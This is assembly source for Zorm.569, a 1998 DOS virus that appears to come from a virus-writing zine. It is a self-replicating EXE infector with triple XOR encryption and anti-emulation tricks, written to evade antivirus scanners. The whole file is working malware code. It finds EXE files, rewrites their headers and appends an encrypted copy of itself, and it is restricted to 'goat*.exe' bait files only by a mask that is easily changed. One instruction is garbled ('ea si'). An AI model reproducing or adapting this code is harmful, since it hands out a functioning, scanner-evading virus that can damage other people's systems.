; Name: Zorm.569
; Author: Doxtor L.
; 
; Why:   This virus was written to illustrate my 4 articles of this zine.
;      I have put together all tricks included inside them. The result is
;      a 100% unscannable virus (for 2nd+ generations that is).
;      Its only a virus to show you the power of these tricks. not a sample
;      ready to spread.
;
; Features:
;       * Triple encrypted no-tsr exe-infector
;       * Anti-emulation tricks inside
;       * Infect all true exe-files of the current directory
;       * Dont infect exe-windows
;       * Dont infect exe-files with overlay
;       * Dont save date/time
;       * Save DTA
;       * No volontary destructive routine
;       * Anti-lamer routine :)
;       * Cant change directory
;

code segment
assume cs:code,ds:code,es:code

        org 100h

key1 equ 33h                  ;xor-keys
key2 equ 11h             
key3 equ 77h             

start:                  

        xor bp,bp
        jmp first_time        ;skip encryption for first execution
begin_virus:

        db 0beh
Patch:  dw 0
        mov cx,end_first_crypt_part - first_crypt_part
        mov ah,key2

crypt:
        xor byte ptr cs:[si],ah
        inc si
        loop crypt
_ret:
        ret
     
      
first_crypt_part:
          
        mov cx,end_second_crypt_part - second_crypt_part
        mov ah,key3
        db 0beh               ;mov si,??
patch2: dw 0

        db 2eh,0c6h,06h       ;mov byte ptr cs:[??],c3h
ret_addr:                     ;c3h opcode for "ret" instr
        dw 0          
        db 0c3h       
                   
        call crypt

end_first_crypt_part:

second_crypt_part:

        cli                        
        mov ax,ss                   
        dec ax                ;restore cs=ss
        mov ss,ax             ;
        sti                   ;
       
        call me                
me:                           ;compute delta offset
        pop bp                    
        sub bp,offset me         
        
        xor ax,ax             ;anti-emulation trick
        int 15h                     
        cmp ah,86h            ;
        jz ok                 ;

        mov ah,4ch            ;
        Int 21h               ;

ok:
        mov ah,3dh            ;anti-emulation trick
        int 21h               ;

        xchg al,ah
        add ah,key1-02h
        ea si,third_crypt_part+bp
        mov cx,end_third_crypt_part-third_crypt_part

        call crypt

end_second_crypt_part:
     
third_crypt_part: 

first_time:

      push cs                 ;
      pop ds                  ;ds=cs

      mov word ptr [_es+bp],es; save current es     
      

      push cs                 
      pop es                  ;es=cs


     lea si,store+bp          ;prepare for host 
     lea di,old+bp            ;execution 
     movsw
     movsw
     movsw
     movsw

     mov ah,1ah               ;move the dta
     lea dx,new_dta+bp
     int 21h
    
      
     mov ah,4eh
     lea dx,exe_file+bp
     mov cx,7
     int 21h

     jnc open_file
     jmp restore_dta
     
open_file:
        mov ax,3d02h      ;open file found
        lea dx,new_dta+1eh+bp
        int 21h 
     
        xchg ax,bx        ;put file handler into bx

read_file:      
            
        mov ah,3fh        ;read the header of 
        mov cx,1ch        ;file found
        lea dx,exe_header+bp
        int 21h   
                     

test1:        ;real exe-file?
        cmp word ptr [exe_header+bp],'ZM'
        je test3

test2:        ;real exe-file?
        cmp word ptr [exe_header+bp],'MZ'
        jne get_another 

test3:        ;infected?
        cmp word ptr [exe_header+12h+bp],'VI'
        je get_another                 

test4:        ;overlay?
        cmp word ptr [exe_header+26+bp],0
        jne get_another

test5:        ;windows-exe?
        cmp byte ptr [exe_header+24+bp],40h
        je get_another

save_exe_header:
        mov ax,word ptr [exe_header+bp+0eh]
        mov word ptr [store_ss+bp],ax

        mov ax,word ptr cs:[exe_header+bp+10h]
        mov word ptr [store_sp+bp],ax

        mov ax,word ptr [exe_header+bp+14h]
        mov word ptr [store_ip+bp],ax
                          
        mov ax,word ptr cs:[exe_header+bp+16h]
        mov word ptr [store_cs+bp],ax

go_end:
        mov ax,4202h
        xor cx,cx
        mov dx,cx
        int 21h
        push ax dx

compute_new_csip:

        push ax
        mov ax,word ptr [exe_header+bp+8]                        
        mov cl,4
        shl ax,cl
        mov cx,ax
        pop ax
        sub ax,cx
        sbb dx,0
        mov cl,0ch
        shl dx,cl
        mov cl,4
        push ax
                          shr ax,cl
                          add dx,ax
                          shl ax,cl
                          pop cx
                          sub cx,ax
        jmp over_there
        get_another:
        jmp get_another2
        over_there:
        change_header:
                          mov word ptr [exe_header+bp+14h],cx
                          mov word ptr [exe_header+bp+16h],dx
                          inc dx
                          mov word ptr [exe_header+bp+0eh],dx
                          mov word ptr [exe_header+bp+10h],0ff0h
                          mov word ptr [exe_header+bp+0ah],00ffh
                          mov word ptr [exe_header+bp+12h],'VI'

        ;****    fill patch,patch2 with right offsets ****
        ;****    in file to infect:                   ****

                          push cx
                          add cx,offset first_crypt_part-offset begin_virus
                          mov word ptr [patch+bp],cx
                          pop cx
                          push cx
                          add cx,offset second_crypt_part-offset begin_virus
                          mov word ptr [patch2+bp],cx
                          pop cx
         ;****     fill addr_ret with the address to
         ;****     put "ret" instr in file to infect:
         
                          add cx,_ret-begin_virus
                          mov word ptr [ret_addr+bp],cx

                          pop dx ax
         compute_size:
                          add ax,end_virus-begin_virus
                          adc dx,0
                          mov cx,512
                          div cx
                          cmp dx,0
                          je enough
                          inc ax
                enough:   
                          mov word ptr [exe_header+bp+04],ax
                          mov word ptr [exe_header+bp+02],dx
           write_virus:
                          lea si,begin_virus+bp         ;make a copy
                          lea di,heap+bp                ;of virus and
                          mov cx,end_virus-begin_virus  ;put it in a
                          rep movsb                     ;buffer 
               encrypt:             
                          lea si,(first_crypt_part-begin_virus+heap)+bp
                          mov ah,key2
                          mov cx,end_first_crypt_part-first_crypt_part
                          call crypt
                          
                          lea si,(second_crypt_part-begin_virus+heap)+bp
                          mov ah,key3
                          mov cx,end_second_crypt_part - second_crypt_part
                          call crypt
                          
                          lea si,(third_crypt_part-begin_virus+heap)+bp
                          mov ah,key1
                          mov cx,end_third_crypt_part-third_crypt_part
                          call crypt
                          
                          mov byte ptr [bp+heap+(_ret-begin_virus)],90h
                          mov cx,end_virus-begin_virus                                           
                          mov ah,40h
                          lea dx,bp+heap
                          int 21h
 
           go_beginning:
                          mov ax,4200h
                          xor cx,cx
                          mov dx,cx
                          int 21h
         copy_new_header: 
                          mov ah,40h
                          mov cx,1ah
                          lea dx,exe_header+bp
                          int 21h
                
         
         get_another2:    
                         mov ah,3eh
                         int 21h
 
                         mov ah,4fh
                         int 21h
                         jc restore_dta
                         jmp open_file
                       
         

         restore_dta:    
                          mov ax,word ptr [_es+bp]
                          push ax
                          pop ds
                          mov dx,80h
                          mov ah,1ah
                          int 21h
                         
                          push ds
                          pop  es
        
                          mov ax,es     ;compute cs to execute     
                          add ax,10h
                          add word ptr cs:[old_cs+bp],ax ;host
                                                          
                 restore_host_stack:                                        
                          cli 
                          add ax,word ptr cs:[bp+old_ss]
                          mov ss,ax      
                          mov sp,word ptr cs:[bp+old_sp]
                          sti
                 go_host:
                          db 0eah      ;jmp xx:yy
                 old:
                          old_ip dw 0
                          old_cs dw 0
                          old_sp dw 0
                          old_ss dw 0
                store:
                        store_ip dw 0
                        store_cs dw 0fff0h
                        store_sp dw 0
                        store_ss dw 0fff0h

                         
              sign  db '(c)Zorm569 by DoxtorL./TI July 1998'
          exe_file  db 'goat*.exe',0   ;Anti-lamer routine :)
          
       end_third_crypt_part:                
                
                end_virus:
                   _es dw          ? 
            exe_header db 1ch dup (?)
               new_dta db 43  dup (?)
               heap:
code ends
end start

